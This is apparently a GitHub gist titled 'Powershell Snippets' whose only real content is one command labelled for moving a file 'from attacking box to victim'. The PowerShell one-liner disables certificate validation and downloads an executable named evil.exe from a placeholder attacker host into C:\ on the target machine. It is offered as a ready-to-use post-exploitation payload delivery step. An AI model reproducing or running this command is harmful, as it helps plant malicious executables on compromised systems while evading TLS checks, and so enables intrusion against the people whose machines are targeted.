-
-
Save waywardsun/2c88f1ecee7ddbe9b3df98b15256513e to your computer and use it in GitHub Desktop.
Powershell Snippets
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Transfer file from attacking box to victim | |
powershell.exe -noprofile -noninteractive -command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $source="""http://attackerip/evil.exe"""; $destination="""C:\destination_file.exe"""; $http=new-object System.Net.WebClient; $response=$http.DownloadFile($source,$destination);" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment